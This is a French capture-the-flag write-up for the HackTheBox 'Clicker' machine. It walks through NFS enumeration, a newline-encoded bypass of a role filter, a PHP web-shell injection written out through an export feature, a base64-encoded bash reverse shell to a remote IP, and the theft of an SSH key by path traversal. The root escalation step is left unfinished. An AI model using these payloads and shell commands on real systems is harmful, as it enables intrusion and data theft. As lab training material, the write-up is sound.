HackTheBox Writeup

Clicker

Clicker - HackTheBox

Vue d'Ensemble

PropriétéValeur
IP10.10.11.232
OSLinux (Ubuntu)
DifficultéMedium
Points ClésNFS Export, PHP Injection, Role Escalation, Perl Script Abuse

Phase 1 : Reconnaissance

Scan de Ports

nmap -p- --min-rate=1000 -T4 10.10.11.232
nmap -sCV -p 22,80,111,2049 10.10.11.232

Ports importants :

22/tcp    - SSH (OpenSSH 8.9p1 Ubuntu)
80/tcp    - HTTP (Apache 2.4.52)
111/tcp   - RPC bind
2049/tcp  - NFS

Configuration DNS

echo "10.10.11.232 clicker.htb" | sudo tee -a /etc/hosts

Phase 2 : Énumération Web

Découverte de Répertoires

gobuster dir -u http://clicker.htb -w /usr/share/wordlists/dirb/common.txt -k

Résultats importants :

  • /admin.php - Page d'administration (redirige vers /index.php si non-admin)
  • /exports - Répertoire d'export
  • /info.php - Page d'information PHP
  • /assets - Ressources statiques

Analyse de l'Application

L'application est un jeu de clicker avec :

  • Système d'authentification (/login.php, /register.php)
  • Sauvegarde de parties (/save_game.php)
  • Export de données (/export.php)
  • Note : Cookie PHPSESSID sans flag httponly

Phase 3 : Énumération NFS

Découverte des Exports

showmount -e 10.10.11.232

Résultat : /mnt/backups est partagé publiquement.

Montage du Partage NFS

sudo mkdir -p /mnt/clickernfs
sudo mount -t nfs 10.10.11.232:/mnt/backups /mnt/clickernfs -nolock

Exploration des Backups

ls -la /mnt/clickernfs/
cat /mnt/clickernfs/db_utils.php

Fichier db_utils.php :

<?php
session_start();

$db_server="localhost";
$db_username="clicker_db_user";
$db_password="clicker_db_password";
$db_name="clicker";
$mysqli = new mysqli($db_server, $db_username, $db_password, $db_name);
$pdo = new PDO("mysql:dbname=$db_name;host=$db_server", $db_username, $db_password);

Note : Requêtes préparées utilisées (pas de SQLi directe).

Fichier admin.php :

<?php
session_start();
include_once("db_utils.php");

if ($_SESSION["ROLE"] != "Admin") {
  header('Location: /index.php');
  die;
}
?>

Fichier authenticate.php :

<?php
session_start();
include_once("db_utils.php");

if (isset($_POST['username']) && isset($_POST['password'])) {
    if(check_auth($_POST['username'], $_POST['password'])) {
        $_SESSION["PLAYER"] = $_POST["username"];
        $profile = load_profile($_POST["username"]);
        $_SESSION["NICKNAME"] = $profile["nickname"];
        $_SESSION["ROLE"] = $profile["role"];
        $_SESSION["CLICKS"] = $profile["clicks"];
        $_SESSION["LEVEL"] = $profile["level"];
        header('Location: /index.php');
    }
}
?>

Phase 4 : Exploitation - Élévation de Rôle

Analyse de save_game.php

<?php
session_start();
include_once("db_utils.php");

if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
    $args = [];
    foreach($_GET as $key=>$value) {
        if (strtolower($key) === 'role') {
            // Prevent malicious users to modify role
            header('Location: /index.php?err=Malicious activity detected!');
            die;
        }
        $args[$key] = $value;
    }
    save_profile($_SESSION['PLAYER'], $_GET);
    $_SESSION['CLICKS'] = $_GET['clicks'];
    $_SESSION['LEVEL'] = $_GET['level'];
    header('Location: /index.php?msg=Game has been saved!');
}
?>

Vulnérabilité : La vérification du paramètre role peut être contournée avec un encodage spécial.

Inscription et Connexion

# S'inscrire
curl -X POST http://clicker.htb/register.php -d "username=toto&password=toto1"

# Se connecter
curl -X POST http://clicker.htb/authenticate.php -d "username=toto&password=toto1" -c cookies.txt

Bypass du Filtre Role

Requête avec Burp Suite :

GET /save_game.php?clicks=2&level=1&%0Arole=Admin HTTP/1.1
Host: clicker.htb
Cookie: PHPSESSID=ok1ioo08qb4323p7k164e8q7b7

Explication : L'encodage %0A (nouvelle ligne) permet de contourner le filtre strtolower($key) === 'role'.


Phase 5 : Injection PHP via Export

Injection de Code PHP dans Nickname

Requête d'injection :

GET /save_game.php?clicks=6&level=0&nickname=<%3fphp+system($_GET['cmd'])+%3f> HTTP/1.1
Host: clicker.htb
Cookie: PHPSESSID=ok1ioo08qb4323p7k164e8q7b7

Payload décodé : <?php system($_GET['cmd']) ?>

Génération du Fichier PHP Malveillant

Requête d'export :

POST /export.php HTTP/1.1
Host: clicker.htb
Cookie: PHPSESSID=ok1ioo08qb4323p7k164e8q7b7
Content-Type: application/x-www-form-urlencoded

threshold=1000000&extension=php

Résultat : Création de /exports/top_players_XXXXX.php contenant le code PHP injecté.


Phase 6 : Obtenir un Shell

Préparation du Reverse Shell

# Créer le payload encodé
echo "sh -i >& /dev/tcp/10.10.15.130/1234 0>&1" | base64
# Résultat: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTMwLzEyMzQgMD4mMQo=

# Listener
nc -lvnp 1234

Exécution du Payload

curl "http://clicker.htb/exports/top_players_XXXXX.php?cmd=echo%20c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTMwLzEyMzQgMD4mMQo=%20|%20base64%20-d%20|%20bash"

Résultat : Shell en tant que www-data.


Phase 7 : Escalade vers l'Utilisateur Jack

Énumération

ls -la /opt/manage/
cat /opt/manage/README.txt

Exploitation du Script execute_query

Le binaire /opt/manage/execute_query permet d'exécuter des requêtes SQL et de lire des fichiers.

/opt/manage/execute_query 5 ../.ssh/id_rsa

Résultat : Récupération de la clé privée SSH de l'utilisateur jack.

Connexion SSH

# Sauvegarder la clé
nano jack_id_rsa
chmod 600 jack_id_rsa

# Connexion
ssh -i jack_id_rsa [email protected]

🚩 Flag User

cat /home/jack/user.txt

🚩 Flag User: HTB{...}


Phase 8 : Escalade Root

Énumération des Privilèges Sudo

sudo -l

Résultat : Possibilité d'exécuter certains scripts en tant que root.

Exploitation

# À compléter selon les privilèges sudo découverts

🚩 Flag Root

cat /root/root.txt

🚩 Flag Root: HTB{...}


Compétences Développées

  • Énumération NFS et montage de partages
  • Analyse de code PHP pour identifier des vulnérabilités
  • Bypass de filtres de sécurité via encodage
  • Injection de code PHP
  • Exploitation de binaires SUID/sudo
  • Escalade de privilèges Linux

Outils Utilisés

  • nmap - Reconnaissance réseau
  • gobuster - Énumération web
  • showmount - Découverte d'exports NFS
  • mount - Montage NFS
  • burpsuite - Manipulation de requêtes HTTP
  • curl - Interaction HTTP
  • nc - Reverse shell
  • ssh - Connexion distante

Bonnes Pratiques

  • Ces techniques doivent être exécutées uniquement dans des environnements autorisés (CTF/lab)
  • Ne pas utiliser sur des systèmes de production sans autorisation explicite
  • Toujours vérifier les permissions avant de monter des partages NFS

Références

  • Documentation NFS Security
  • PHP Filter Bypass Techniques
  • Linux Privilege Escalation Guide